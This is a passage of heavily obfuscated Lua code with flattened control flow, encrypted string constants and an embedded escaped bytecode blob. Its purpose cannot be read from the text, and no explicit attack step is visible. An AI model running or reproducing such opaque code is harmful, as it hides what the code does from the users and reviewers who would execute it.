a=341.736849043069;b[B(2632627,12)]=v("\3\69\34\106\31\33\17\19\45\60",i)b[B(857769,12)]=v("\17\7\52\104\61\27\53\14\0\22",i)b[B(7419166,12)]=v("\34\24\73\32\30\0\97\61\24\106",i)b[B(4574922,12)]=v("\104\64\71\106\86\97\100\117",i)c[229]='3aZdkzcz2l'e=630;d=562.7294165254294;c[19]=false;c[755]='I67Qg8julr'break end end end end ;do if(e*3==111)then do if((a==360.0907416399059)and(d==303.7993273643626)and(c[19]==false)and(c[229]=='Fx1GeKio8B')and(c[755]=='3MUKR36I4A'))and(e+18==55)then c[755]='UKq3YL44HZ'd=389.07930844659444;a=530.3982079230817;c[229]='TfNb0nm68P'e=961;c[19]=false;b[B(6394273,12)]=v("\14\40\54\61\14\31\101\21\21\17",i)b[B(5511952,12)]=v("\15\24\39\45\52\110\42\47\51\21",i)b[B(5055398,12)]=v("\61\27\48\25\87\9\34\18\46\28",i)b[B(8971285,12)]=v("\34\8\61\105\62\0\11\60\70\106",i)b[B(5128125,12)]=v("\60\36\33\2\34\28\56\22\61\52",i)b[B(94395,12)]=v("\5\46\18\59\11\53",i)b[B(3450360,12)]=v("\56\36\34\55\63\9\96\17\46\63",i)end end end end ;do if(e*3==105)then while((a==100.43983293301467)and(d==267.1110255556292)and(c[19]==false)and(c[229]=='wycHiIUT9w')and(c[755]=='ja7pg6xOik'))and(e+17==52)do c[229]='nFI7FPRfHY'd=87.17547995358375;b[B(9873003,12)]=v("\34\8\69\99\94\53\26\114\40\109",i)e=182;a=372.9888151513803;c[19]=false;c[755]='BjrV9ejXw3'break end end end ;do if(e*13==1768)then if((a==113.89809890899787)and(d==622.7685575908351)and(c[19]==false)and(c[229]=='z3LHPogCaE')and(c[755]=='R4auWMEX9T'))and(e+68==204)then c[19]=false;c[755]='XcWYfv7aYE'e=738;b[B(2616673,12)]=v("\34\29\46\54\31\35\99\13\59\22",i)b[B(7732216,12)]=v("\23\20\20\47\33\107",i)b[B(7005140,12)]=v("\8\20\1\50\20\63\36\39\25\32",i)b[B(9276729,12)]=v("\108\71\68\111\86\107",i)b[B(4901638,12)]=v("\34\62\64\51\8\97\43\112\67\16",i)d=536.2680725071897;c[229]='Wa6VCOAdza'a=379.7152480064366 end end end ;if(e*13==1807)then do if((a==314.43305846787257)and(d==207.63726938618763)and(c[19]==false)and(c[229]=='FP5l1R5PTG')and(c[755]=='CRQ6xWCNyl'))and(e+69==208)then break end end end;do while((a==11.927142565930588)and(d==187.20329069006706)and(c[19]==false)and(c[229]=='4NEQ99CtpR')and(c[755]=='UEnu9MnhYa'))and(e+126==378)do d=378.18096507453083;b[B(9941743,12)]=v("\28\34\22\14\9\40\36\37\36\97",i)b[B(3123151,12)]=v("",i)b[B(68961,12)]=v("\43\69\71\53\81\44\33\39\57\11",i)b[B(8303292,12)]=v("\44",i)c[755]='T922QxWnua'e=444;a=38.79587206726448;c[229]='dBm1NRuQPy'c[19]=false;break end end ;while((a==95.0929938487057)and(d==189.21469232195216)and(c[19]==false)and(c[229]=='E3ArIbOQfJ')and(c[755]=='f07X0WRoWQ'))and(e+403==1210)do e=9;d=461.00052345133685;a=90.67809134195495;break end;do while((a==172.57463022401646)and(d==762.1742598809022)and(c[19]==false)and(c[229]=='jXBIHfe3Cv')and(c[755]=='bENYgfWaOs'))and(e+154==462)do c[755]='R4auWMEX9T'c[19]=false;b[B(2148912,12)]=v("\34\11\68\19\82\16\63\61\62\16",i)b[B(4411453,12)]=v("\22\41\26\59\83\58\21\46\59\12",i)b[B(5212220,12)]=v("\27\6\63\2\3\46\35\13\48\62",i)b[B(6537996,12)]=v("\41\5\3\51\9\62",i)b[B(4763243,12)]=v("\34\61\61\2\81\48\11\30\67\21",i)d=622.7685575908351;c[229]='z3LHPogCaE'e=136;a=113.89809890899787;break end end ;do if(e*5==260)then do while((a==3.5707890499756427)and(d==161.80416600257436)and(c[19]==false)and(c[229]=='5tIj1DKaS3')and(c[755]=='t0gzOZGmv2'))and(e+26==78)do c[755]='86kKLfLdvX'd=178.02816046376708;e=848;c[229]='Ujjxc89BsQ'a=180.32883075000623;b[B(7637517,12)]=v("\29\69\38\52\0\40\28\3\20\22",i)b[B(2165137,12)]=v("",i)b[B(8570078,12)]=v("\5\9\30\109\62\0\97\29\56\108\60",i)c[19]=false;break end end end end ;do if(e*10==1000)then if((a==277.7114148123773)and(d==32.738261402931585)and(c[19]==false)and(c[229]=='tOKo5kM1ra')and(c[755]=='Q5P2oDUEPH'))and(e+50==150)then c[229]='JrTfsE5FFl'a=235.22251728223898;c[755]='Bsod7CHtsH'b[B(972659,12)]=v("\6\65",i)b[B(6320479,12)]=v("\50\60\52\34\37\46\29\17\26\10",i)b[B(5630706,12)]=v("\34\11\68\19\82\16\63\61\62\16",i)c[19]=false;d=155.71271373488378;e=886 end end end ;do while((a==341.736849043069)and(d==562.7294165254294)and(c[19]==false)and(c[229]=='3aZdkzcz2l')and(c[755]=='I67Qg8julr'))and(e+315==945)do d=22.861118822309212;e=821;c[755]='nwVceYsWFT'b[B(2620180,12)]=v("\96\89\84\62\77\112\105",i)b[B(8944905,12)]=v("\34\56\66\21\8\110\41\112\71\105",i)b[B(6554716,12)]=v("\17\36\41\32\53\60\27\9\45\18",i)a=107.4758935470861;c[229]='dyhokxcZNX'c[19]=false;break end end ;if(e*61==37515)then do while(e+307==922)and((a==23.49771975215293)and(d==747.2328387930687)and(c[19]==false)and(c[229]=='O53sNekbnU')and(c[755]=='JnjK8vacap'))do c[229]='sZYXWITRb5'b[B(5140203,12)]=v("\57\61\32\106\52\107\52\46\61\31",i)b[B(3687269,12)]=v("\54\58\7\45\29\19\32\50\64\111",i)d=204.39103817340853;e=778;a=15.729956952795076;c[19]=false;c[755]='laaTo3NP1N'break end end end;do if(e*55==30580)then while(e+278==834)and((a==38.75118020353818)and(d==79.49419749072828)and(c[19]==false)and(c[229]=='isdDGau02g')and(c[755]=='Rd4PgCVQjF'))do c[229]='GrhP34L1xP'c[19]=false;c[755]='jk9Q1XWyBf'a=14.430920337403297;b[B(3731638,12)]=v("\46\16\19\54\2",i)b[B(8821640,12)]=v("\12\16\38\52\52\41\0\53\4\52",i)b[B(7551581,12)]=v("\56\29\18\51\5\104\101\23\37\32",i)b[B(2250573,12)]=v("\28\23\26\111\18\106\43\35\7\110",i)d=530.7590587039839;e=114;break end end end ;if(e*11==1254)then if(e+57==171)and((a==14.430920337403297)and(d==530.7590587039839)and(c[19]==false)and(c[229]=='GrhP34L1xP')and(c[755]=='jk9Q1XWyBf'))then d=749.9275340338687;c[229]='NWnMld6ttn'c[19]=false;a=48.23512662630677;e=425;b[B(9707173,12)]=v("\108\52\31\12\22\27\56\1\18\96",i)b[B(4129572,12)]=v("\10\18\40\17\10\31\39\20\34\56",i)b[B(9152201,12)]=v("\34\24\73\32\30\0\97\61\24\106",i)b[B(6334910,12)]=v("\99\41\73\31\16\18\23\46\58\50",i)c[755]='09Xwzyn5kx'end end;while((a==141.73508441422237)and(d==181.57600763288727)and(c[19]==false)and(c[229]=='S0hJnLNVvD')and(c[755]=='msbaPDooO9'))and(e+352==1057)do d=24.120305823604827;c[19]=false;b[B(8511324,12)]=v("\29\5\22\104\86\46\32\49\51\32",i)b[B(17084,12)]=v("\34\24\64\2\82\48\26\27\59\105",i)b[B(4022293,12)]=v("\55\0\58\32\46\111\42\7\25\42",i)c[229]='hl6KJVTEVY'a=229.0921775313839;c[755]='GYng8XVGPs'e=142;break end;do if((a==48.23512662630677)and(d==749.9275340338687)and(c[19]==false)and(c[229]=='NWnMld6ttn')and(c[755]=='09Xwzyn5kx'))and(e+212==637)then c[229]='y029zMSv3F'e=600;a=273.582392832245;b[B(1578209,12)]=v("\98\70\67",i)b[B(183834,12)]=v("\99\72\11\55\95\26\62\12\46\13",i)b[B(7751806,12)]=v("\63\6\24\98\50\31\3\3\3\97",i)b[B(4594446,12)]=v("\12\51\23\43\47\54\97\19\20\56",i)c[19]=false;d=177.9146930548847;c[755]='vVaX4KDNqv'end end ;if(e*90==81180)then do if(e+451==1353)and((a==136.08876818559537)and(d==0.643508967338239)and(c[19]==false)and(c[229]=='VFO38OLOFM')and(c[755]=='0IDq97Ni3S'))then a=172.57463022401646;d=762.1742598809022;b[B(7159682,12)]=v("\107\64\28\98\36\97\17\23\26\48",i)b[B(927194,12)]=v("\34\61\62\109\95\106\28\62\71\33",i)b[B(2920910,12)]=v("\12\33\59\105\3\62\61\51\54\45",i)b[B(3504313,12)]=v("\3\34\23\0\49\55\63\19\14\13",i)e=308;c[755]='bENYgfWaOs'c[229]='jXBIHfe3Cv'c[19]=false end end end;if(e*81==65853)then if(e+406==1219)and((a==517.5958284980879)and(d==16.104828099046344)and(c[19]==false)and(c[229]=='R9Bd4sFmaT')and(c[755]=='eX5hMZ1uHd'))then e=35;c[229]='wycHiIUT9w'c[19]=false;b[B(1685720,12)]=v("\127\2\84\41",i)b[B(4568907,12)]=v("\54\22\50\28\14\56\34\118\6\41",i)b[B(2325251,12)]=v("\34\61\62\109\95\106\28\62\71\33",i)b[B(8119130,12)]=v("\34\8\72\98\11\110\60\112\64\110",i)b[B(7298300,12)]=v("\45\58\64\9\55\22\3\52\7\16",i)b[B(4500133,12)]=v("\59\35\59\107\51\22\10\32\54\33",i)b[B(1046518,12)]=v("\23\24\52\11\87\44\55\22\60\35",i)d=267.1110255556292;a=100.43983293301467;c[755]='ja7pg6xOik'end end;while(e+222==666)and((a==38.79587206726448)and(d==378.18096507453083)and(c[19]==false)and(c[229]=='dBm1NRuQPy')and(c[755]=='T922QxWnua'))do c[755]='Re2taqDQZV'c[19]=false;a=115.07668660337569;e=799;c[229]='suPj9A7put'd=74.12421378360473;b[B(878711,12)]=v("\23\39\19\2\46\30\3\0\66\3",i)b[B(8287694,12)]=v("\34\43\11\21\43\6\99\45\79\6",i)break end;do if(e*79==62726)then while((a==260.13437583324276)and(d==168.33575312084082)and(c[19]==false)and(c[229]=='CTyrhJ9Zwr')and(c[755]=='KSYF2XH9Ij'))and(e+397==1191)do c[229]='nrRUsHhNQu'b[B(5091133,12)]=v("\110\35\22\111\63\32\48\15\33\51",i)b[B(5875354,12)]=v("\46\25\38\107\35\107\9\18\53\23",i)b[B(3166394,12)]=v("\16\28\1\11\34\30\21\53\24\60\60\57\73\64",i)e=132;c[755]='u9K1Scc9CS'd=342.6940217999622;c[19]=false;a=125.54509930593991;break end end end ;if(e*0==0)then do while(e+4==13)and((a==90.67809134195495)and(d==461.00052345133685))do c[229]='TptazFbUia'c[755]='lnFtKntyaA'a=85.44602230769613;d=21.730386045707565;e=0;c[19]=false;break end end end;do if(e*75==56550)then do while((a==219.00344673434358)and(d==113.66035923451325)and(c[19]==false)and(c[229]=='HgKjPvyaZF')and(c[755]=='b6gMTf20hL'))and(e+377==1131)do a=529.3536083304637;b[B(1174538,12)]=v("\0",i)b[B(5939464,12)]=v("\110\72\3\16\14\52\50\112\69\26",i)b[B(3592954,12)]=v("\43\33\55\14\19\9",i)c[229]='RlzVbrraso'c[19]=false;c[755]='eW7iHXZZ0F'd=165.61306136135119;e=984;break end end end end ;do if(e*10==1040)then do if((a==184.65450380107146)and(d==28.847699162927583)and(c[19]==false)and(c[229]=='NNLH2H8nbK')and(c[755]=='8AdbiyTKMr'))and(e+52==156)then d=291.2687861014777;b[B(2009897,12)]=v("\34\24\64\2\82\48\26\27\59\105",i)b[B(5286404,12)]=v("\10\20\61\29\38\111\38\37\18\0",i)b[B(5489365,12)]=v("\25",i)b[B(4183314,12)]=v("\34\70\11\98\18\60\37\21\52\9",i)a=525.3339622826944;c[229]='DGNm6hOgaW'c[755]='MU6JJf4Mxx'c[19]=false;e=862 end end end end ;if(e*27==7533)then do if((a==559.2248814303151)and(d==116.85348519554115)and(c[19]==false)and(c[229]=='PpCuw1GcRG')and(c[755]=='0VvtYxebfg'))and(e+139==418)then a=517.5958284980879;c[755]='eX5hMZ1uHd'e=813;c[19]=false;b[B(5080201,12)]=v("\50\34\58\109\46\14\97\3\71\23",i)b[B(1735507,12)]=v("\5\46\18\53\9\58\50\48",i)b[B(5695858,12)]=v("\34\8\61\105\62\0\11\60\70\106",i)d=16.104828099046344;c[229]='R9Bd4sFmaT'end end end;do if((a==195.9000878425349)and(d==494.6962072768058)and(c[19]==false)and(c[229]=='XUH35IuhS8')and(c[755]=='j3JSInYpKo'))and(e+375==1126)then c[229]='FP5l1R5PTG'a=314.43305846787257;e=139;b[B(3960332,12)]=v("\30\73\18\27\45\107\98\11\32\52",i)b[B(5024618,12)]=v("\40\34\67\13\84\56\100\53\64\61",i)b[B(9148103,12)]=v("\55\65\4\99\16\14\31\13\56\24",i)b[B(777531,12)]=v("\34\30\56\51\83\16\100\114\59\33",i)b[B(5438382,12)]=v("\34\56\66\21\8\110\41\112\71\105",i)c[19]=false;c[755]='CRQ6xWCNyl'd=207.63726938618763 end end ;do if(e*79==62963)then if(e+398==1195)and((a==253.62573621594953)and(d==109.55940557812856)and(c[19]==false)and(c[229]=='4ofJmmXuhS')and(c[755]=='2cqvhtzs24'))then b[B(1438678,12)]=v("\105\63\5\53\43\62\35\115\5\109",i)c[229]='XUH35IuhS8'a=195.9000878425349;d=494.6962072768058;e=751;c[755]='j3JSInYpKo'c[19]=false end end end ;if(e*88==77968)then if(e+443==1329)and((a==235.22251728223898)and(d==155.71271373488378)and(c[19]==false)and(c[229]=='JrTfsE5FFl')and(c[755]=='Bsod7CHtsH'))then a=136.19983842493502;c[229]='Q6YTqdD3RD'd=167.6691390781374;c[755]='Q304moVdYB'e=715;c[19]=false;b[B(3307011,12)]=v("\35\54\36\106\33\29\11\117\56\96",i)b[B(7461012,12)]=v("\106\67\60\9\95\12\107\22\66\110",i)b[B(3627090,12)]=v("\106\6\58\98\81\53\7\11\25\46",i)b[B(9215558,12)]=v("\110\2\73\98\41\58\33\17\66\46",i)b[B(5004856,12)]=v("\34\9\62\54\84\0\107\116\62\110",i)end end;do if(e*9==855)then while((a==15.849253129293423)and(d==438.71494222691376)and(c[19]==false)and(c[229]=='0ArOYyDfxE')and(c[755]=='bDxYOi5i1S'))and(e+47==142)do b[B(7219720,12)]=v("\43\25\48\40\51\56\29\51\5\53",i)e=556;c[229]='isdDGau02g'a=38.75118020353818;c[19]=false;d=79.49419749072828;c[755]='Rd4PgCVQjF'break end end end ;do while(e+357==1072)and((a==136.19983842493502)and(d==167.6691390781374)and(c[19]==false)and(c[229]=='Q6YTqdD3RD')and(c[755]=='Q304moVdYB'))do a=219.00344673434358;b[B(5666906,12)]=v("\59",i)b[B(7740781,12)]=v("\62\26\9\2\85\8\3\9\61\16",i)d=113.66035923451325;e=754;c[229]='HgKjPvyaZF'c[19]=false;c[755]='b6gMTf20hL'break end end ;if(e*18==3276)then do if((a==372.9888151513803)and(d==87.17547995358375)and(c[19]==false)and(c[229]=='nFI7FPRfHY')and(c[755]=='BjrV9ejXw3'))and(e+91==273)then e=770;a=976.2938888517233;c[755]='s8yUqoWgHG'b[B(4802208,12)]=v("\41\20\29\63\4\45",i)b[B(3278449,12)]=v("\24\67\18\105\8\31\23\9\37\13",i)b[B(7448507,12)]=v("\28\67\59\98\14\19\97\118\34\53",i)b[B(6078187,12)]=v("\5\46\24\52\3\60\43",i)b[B(4097963,12)]=v("\3\5\66\52\15\42\50\15\3\14",i)b[B(7197472,12)]=v("\34\62\64\51\8\97\43\112\67\16",i)d=306.7423084700538;c[229]='OYWviaxY7x'c[19]=false end end end;do while(e+389==1167)and((a==15.729956952795076)and(d==204.39103817340853)and(c[19]==false)and(c[229]=='sZYXWITRb5')and(c[755]=='laaTo3NP1N'))do b[B(9732206,12)]=v("\10\62\6\0\19\42\23\48\60\50",i)b[B(7580995,12)]=v("\44\60\16\35\16\52\53\44\6\18",i)b[B(9030971,12)]=v("\40\54\59\46\95\49\21\44\46\55",i)b[B(5705155,12)]=v("\50\25\68\29\41\41\54\33\70\9",i)c[229]='PpCuw1GcRG'd=116.85348519554115;e=279;c[19]=false;c[755]='0VvtYxebfg'a=559.2248814303151;break end end ;do while((a==529.3536083304637)and(d==165.61306136135119)and(c[19]==false)and(c[229]=='RlzVbrraso')and(c[755]=='eW7iHXZZ0F'))and(e+492==1476)do b[B(4618015,12)]=v("\34\24\67\35\85\35\10\45\24\53",i)b[B(7165806,12)]=v("\57\31\48\3\83\17\98\62\19\97",i)b[B(6789368,12)]=v("\12\66\22\50\29\11\26\48",i)b[B(7869902,12)]=v("\34\11\46\109\87\107\42\30\68\0",i)c[755]='3MUKR36I4A'd=303.7993273643626;c[229]='Fx1GeKio8B'c[19]=false;e=37;a=360.0907416399059;break end end ;do while((a==530.3982079230817)and(d==389.07930844659444)and(c[19]==false)and(c[229]=='TfNb0nm68P')and(c[755]=='UKq3YL44HZ'))and(e+480==1441)do c[229]='ylBwbuZPSX'b[B(1909294,12)]=v("\104\95\72\105\85\105\98\119\78\104\80\99\73\64\99\84\110",i)b[B(3005936,12)]=v("\17\21\6\12\63\50\25\14\29\0",i)b[B(61423,12)]=v("\41\26\62\51\14\30\10\62\20\110",i)b[B(630685,12)]=v("\48\33\9\60\50\60\103\114\0\10",i)b[B(9633814,12)]=v("\10\20\41\16\85\33\2\35\67\56",i)b[B(9030117,12)]=v("\48\56\27\21\13\26\26\49\66\33",i)a=178.9231968561778;e=512;d=262.4447653255673;c[19]=false;c[755]='FSu3HhTyHR'break end end ;do if(e*79==63121)then do if(e+399==1198)and((a==115.07668660337569)and(d==74.12421378360473)and(c[19]==false)and(c[229]=='suPj9A7put')and(c[755]=='Re2taqDQZV'))then e=572;d=6.46502739477487;b[B(8253115,12)]=v("\48\21\56\50\53\20\4\53\21\107",i)b[B(5152704,12)]=v("\22\61\53\56\53\96\1\9\1\33",i)b[B(4452881,12)]=v("\10\8\39\34\84\106\103\32\15\58",i)b[B(8329058,12)]=v("\18\18\36\104\48\108\0\32\37\40",i)b[B(9807347,12)]=v("\46\16\19\54\2",i)b[B(6571327,12)]=v("\49\3\6\99\83\16\34\47\54\8",i)c[229]='XwdPJY6OPE'c[755]='XDDhtSRw7g'c[19]=false;a=570.9561596732043 end end end end ;do if(e+431==1293)and((a==525.3339622826944)and(d==291.2687861014777)and(c[19]==false)and(c[229]=='DGNm6hOgaW')and(c[755]=='MU6JJf4Mxx'))then c[229]='CTyrhJ9Zwr'a=260.13437583324276;b[B(9114834,12)]=v("\34\29\29\19\82\53\41\114\56\48",i)b[B(513666,12)]=v("\61\37\24\99\10\10\43\54\22\49",i)b[B(6247944,12)]=v("\41\63\21\28\8\56\35\37\57\13",i)c[755]='KSYF2XH9Ij'd=168.33575312084082;c[19]=false;e=794 end end ;while((a==135.91647619054294)and(d==122.38435599325487)and(c[19]==false)and(c[229]=='SxJYXGE5yN')and(c[755]=='t6jCCXL2ON'))and(e+171==514)do b[B(1916560,12)]=v("\29\6\27\63\52\107\0\52\37\26",i)b[B(3620751,12)]=v("\48\64\5\56\44\49\38\15\4\19",i)b[B(8201669,12)]=v("\103\79",i)e=341;c[19]=false;c[755]='uRLlQYLyBb'd=799.8451122313066;c[229]='f1u0IXhj9n'a=129.40603157338816;break end;do while((a==976.2938888517233)and(d==306.7423084700538)and(c[19]==false)and(c[229]=='OYWviaxY7x')and(c[755]=='s8yUqoWgHG'))and(e+385==1155)do c[229]='Q9APUDJLOW'c[755]='sdRpGKpEgS'a=144.44976104188603;e=151;d=508.8196061120772;c[19]=false;b[B(6895788,12)]=v("\34\30\73\32\29\16\103\113\62\48",i)b[B(7379288,12)]=v("\5\46\5\53\20\45\33\45\25\62",i)break end end ;do if(e*84==71232)then do while(e+424==1272)and((a==180.32883075000623)and(d==178.02816046376708)and(c[19]==false)and(c[229]=='Ujjxc89BsQ')and(c[755]=='86kKLfLdvX'))do c[19]=false;e=705;c[229]='S0hJnLNVvD'a=141.73508441422237;d=181.57600763288727;b[B(5979137,12)]=v("\111\66\71\111\86\105\106",i)b[B(7675550,12)]=v("\29\3\33\42\29\17\7\13\25\33",i)b[B(3397099,12)]=v("\18\60\25\12\41\96\50\35\32\110",i)b[B(2610020,12)]=v("\9\51\38\31\2\24\59\38\52\96",i)b[B(2308686,12)]=v("\110\73\11\45\21\1\49\40\53\35",i)c[755]='msbaPDooO9'break end end end end ;if(e*15==2265)then do if((a==144.44976104188603)and(d==508.8196061120772)and(c[19]==false)and(c[229]=='Q9APUDJLOW')and(c[755]=='sdRpGKpEgS'))and(e+75==226)then c[19]=false;e=797;d=109.55940557812856;c[229]='4ofJmmXuhS'a=253.62573621594953;c[755]='2cqvhtzs24'b[B(8843620,12)]=v("\51\22\0\24\21\18\6\46\56\44",i)b[B(219216,12)]=v("\121",i)b[B(9714055,12)]=v("\18\51\65\49\42\111\58\62\68\26",i)b[B(463324,12)]=v("\62\5\56\104\20\21\34\44\53\111",i)b[B(7313538,12)]=v("\105\33\64\53\45\60\38\28\51\3",i)b[B(104814,12)]=v("\34\9\24\111\43\104\98\118\67\22",i)end end end;do while(e+300==900)and((a==273.582392832245)and(d==177.9146930548847)and(c[19]==false)and(c[229]=='y029zMSv3F')and(c[755]=='vVaX4KDNqv'))do a=3.5707890499756427;d=161.80416600257436;e=52;c[19]=false;c[229]='5tIj1DKaS3'b[B(9777437,12)]=v("\14",i)b[B(2351762,12)]=v("\14\58\0\13\23\61\107\53\50\50",i)b[B(4402311,12)]=v("\52\52\5\40\41\59\10\37\19\26",i)b[B(3976604,12)]=v("\34\11\46\109\87\107\42\30\68\0",i)b[B(8887665,12)]=v("\34\9\62\54\84\0\107\116\62\110",i)b[B(5610879,12)]=v("\28\2\3\50\23\55\26\49\29\42",i)c[755]='t0gzOZGmv2'break end end end end end end end;b[(b[6952509])]=g;local g=c()[I({46,8,1,63})]local i=c()[I({40,16,6,61,2,45})]local i=c()[I({46,30,31,47,10,59,54,54})]local m=c()[I({41,20,5,55,2,45,50,48,22,59,10,63})]local v=c()[I({42,18,16,54,11})]local x=c()[I({42,3,24,52,19})]local y=c()[I({55,16,5,50})]local z=c()[I({61,20,5,55,2,45,50,48,22,59,10,63})]local B=c()[I({47,31,1,59,4,50})]local F=c()[I({63,3,3,53,21})]local G=c()[I({41,20,29,63,4,45})]local K=c()[I({59,2,2,63,21,45})]local K=c()[I({41,20,5,40,6,46})]local K=c()[I({57,30,3,53,18,45,58,42,18})]local K=c()[I({41,5,3,51,9,62})]local K=c()[I({42,16,24,40,20})]local L=c()[I({46,30,2,46,21,48,61,35})]local I=c()[I({46,16,19,54,2})]local I=b["\95\120\121\56\120\105\88\89\49\73\90\54\56\122\76\95\79\55"]local y=y[e(97,98,115)]local n=function()while h<255 do C[h]=n({})end end;local function y(...)local a,a=...local a=d(L(a),(b[2620184]))()return i(a)end;local d=y(v(function()local a=(b[5666902])^1 end))local d=x;local function i(...)return G((b[219228]),...),{...}end;local v="\0\146\23v\0\154\0\28\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26v\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3v\0\11\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\108\1Z\0\0\0\0\0\0\0\3\0\0\0\10\192\0\0\0\4\0\0\0\1\4Z\0\1\0\0\0\0\0\7\0\0\0\74\192\1\0\0\0\31\1Z\0\1\0\17\1\0\0\85\1\0\4\73\128\192\128\0\5\0\0\0\1\5Z\0\1\0\188\1\0\0\98\1\0\4\73\0\193\129\0\1\5Z\0\1\0\72\1\0\0\99\1\0\4\73\128\193\130\0\1\5Z\0\1\0\154\1\0\0\8\1\0\4\73\0\194\131\0\1\5Z\0\1\0\95\1\0\0\8\1\0\4\73\0\194\132\0\1\5Z\0\1\0\48\1\0\0\2\2\0\4\73\192\66\133\0\1\5Z\0\1\0\224\1\0\0\8\1\0\4\73\0\66\134\0\1\5Z\0\0\0\236\1\0\0\1\0\0\2\9\64\0\128\0\1\4Z\0\1\0\0\0\0\0\8\0\0\0\74\0\2\0\0\1\5Z\0\1\0\207\1\0\0\212\1\0\4\73\192\67\135\0\1\5Z\0\1\0\240\1\0\0\85\1\0\4\73\128\64\136\0\1\5Z\0\1\0\195\1\0\0\6\1\0\4\73\128\196\136\0\1\5Z\0\1\0\154\1\0\0\8\1\0\4\73\0\194\131\0\1\5Z\0\1\0\95\1\0\0\8\1\0\4\73\0\194\132\0\1\5Z\0\1\0\48\1\0\0\1\1\0\4\73\192\68\133\0\1\5Z\0\1\0\224\1\0\0\8\1\0\4\73\0\66\134\0\1\5Z\0\1\0\29\1\0\0\8\1\0\4\73\0\66\138\0\1\5Z\0\0\0\55\1\0\0\1\0\0\2\9\64\128\134\0\1\4Z\0\1\0\0\0\0\0\4\0\0\0\74\0\1\0\0\1\5Z\0\1\0\26\1\0\0\200\1\0\4\73\192\69\139\0\1\5Z\0\1\0\224\1\0\0\8\1\0\4\73\0\66\134\0\1\5Z\0\1\0\218\1\0\0\8\1\0\4\73\0\66\140\0\1\5Z\0\1\0\207\1\0\0\132\1\0\4\73\64\70\135\0\1\5Z\0\0\0\87\1\0\0\1\0\0\2\9\64\128\138\0\0\60\1V\0\1\0\108\0\0\0\1\69\128\6\0\0\6\0\0\0\0\168\1Z\0\1\0\1\0\0\0\147\1\0\3\75\192\198\0\0\7\0\0\0\0\88\0V\0\3\0\253\0\0\0\1\193\0\7\0\0\8\0\0\0\0\235\2Z\0\1\0\3\0\0\0\2\0\0\0\92\128\128\1\0\9\0\0\0\1\6V\0\2\0\108\0\0\0\1\133\128\6\0\0\1\7Z\0\2\0\2\0\0\0\147\1\0\3\139\192\70\1\0\1\8V\0\4\0\58\0\0\0\1\1\65\7\0\0\1\9Z\0\2\0\3\0\0\0\2\0\0\0\156\128\128\1\0\1\6V\0\3\0\108\0\0\0\1\197\128\6\0\0\1\7Z\0\3\0\3\0\0\0\147\1\0\3\203\192\198\1\0\1\8V\0\5\0\64\0\0\0\1\65\129\7\0\0\1\9Z\0\3\0\3\0\0\0\2\0\0\0\220\128\128\1\0\1\6V\0\4\0\108\0\0\0\1\5\129\6\0\0\1\7Z\0\4\0\4\0\0\0\147\1\0\3\11\193\70\2\0\1\8V\0\6\0\32\0\0\0\1\129\193\7\0\0\1\9Z\0\4\0\3\0\0\0\2\0\0\0\28\129\128\1\0\1\6V\0\5\0\108\0\0\0\1\69\129\6\0\0\1\7Z\0\5\0\5\0\0\0\147\1\0\3\75\193\198\2\0\1\8V\0\7\0\179\0\0\0\1\193\1\8\0\0\1\9Z\0\5\0\3\0\0\0\2\0\0\0\92\129\128\1\0\1\6V\0\6\0\108\0\0\0\1\133\129\6\0\0\1\7Z\0\6\0\6\0\0\0\147\1\0\3\139\193\70\3\0\1\8V\0\8\0\104\0\0\0\1\1\66\8\0\0\1\9Z\0\6\0\3\0\0\0\2\0\0\0\156\129\128\1\0\0\118\37Z\0\7\0\1\0\0\0\19\1\0\3\198\129\200\0\0\10\0\0\0\1\7Z\0\8\0\7\0\0\0\230\1\0\3\11\194\200\3\0\1\9Z\0\8\0\2\0\0\0\2\0\0\0\28\130\0\1\0\1\10Z\0\9\0\3\0\0\0\135\1\0\3\70\2\201\1\0\1\10Z\0\10\0\4\0\0\0\10\1\0\3\134\66\73\2\0\0\115\12Z\0\11\0\23\0\0\0\2\0\0\0\194\2\0\0\0\11\0\0\0\0\161\3Z\0\12\0\13\0\0\0\0\0\0\0\3\3\128\6\0\12\0\0\0\1\6V\0\14\0\0\1\0\0\1\133\131\9\0\0\0\56\35Z\0\14\0\21\0\0\0\3\0\0\0\156\67\128\0\0\13\0\0\0\1\10Z\0\14\0\7\0\0\0\181\1\0\3\134\195\201\3\0\1\7Z\0\14\0\14\0\0\0\176\1\0\3\139\3\74\7\0\1\8V\0\16\0\113\0\0\0\1\1\68\10\0\0\1\9Z\0\14\0\3\0\0\0\2\0\0\0\156\131\128\1\0\0\7\2Z\0\14\0\0\0\0\1O\0\154\3\0\0\0\14\0\0\0\0\203\0v\0\0\0\247\255\1\0\0\22\192\253\127\0\15\0\0\0\1\6V\0\14\0\171\0\0\0\1\133\131\10\0\0\1\10Z\0\15\0\7\0\0\0\181\1\0\3\198\195\201\3\0\1\7Z\0\15\0\15\0\0\0\138\1\0\3\203\195\202\7\0\1\9Z\0\15\0\2\0\0\0\0\0\0\0\220\3\0\1\0\1\9Z\0\14\0\0\0\0\0\4\0\0\0\156\3\1\0\0\1\15v\0\0\0\12\0\2\0\0\22\0\3\128\0\1\7Z\0\19\0\18\0\0\0\3\1\0\3\203\4\75\9\0\1\8V\0\21\0\173\0\0\0\1\65\69\11\0\0\1\9Z\0\19\0\3\0\0\0\2\0\0\0\220\132\128\1\0\1\14Z\0\19\0\0\0\0\1O\0\218\4\0\0\0\1\15v\0\0\0\7\0\2\0\0\22\192\1\128\0\1\10Z\0\19\0\18\0\0\0\251\1\0\3\198\132\75\9\0\0\253\11Z\1O\0\19\0\0\0\93\1\0\3\87\192\203\9\0\16\0\0\0\1\15v\0\0\0\4\0\2\0\0\22\0\1\128\0\1\10Z\0\19\0\18\0\0\0\251\1\0\3\198\132\75\9\0\1\16Z\1O\0\19\0\0\0\216\1\0\3\87\0\204\9\0\1\15v\0\0\0\1\0\2\0\0\22\64\0\128\0\1\7Z\0\19\0\18\0\0\0\11\1\0\3\203\68\76\9\0\0\228\8Z\0\19\0\2\0\0\0\6\0\0\0\220\68\0\1\0\17\0\0\0\0\109\1Z\0\14\0\0\0\0\0\2\0\0\0\161\131\0\0\0\18\0\0\0\1\15v\0\0\0\240\255\1\0\0\22\0\252\127\0\1\10Z\0\14\0\7\0\0\0\181\1\0\3\134\195\201\3\0\1\10Z\0\14\0\14\0\0\0\234\1\0\3\134\131\76\7\0\1\7Z\0\14\0\14\0\0\0\122\1\0\3\13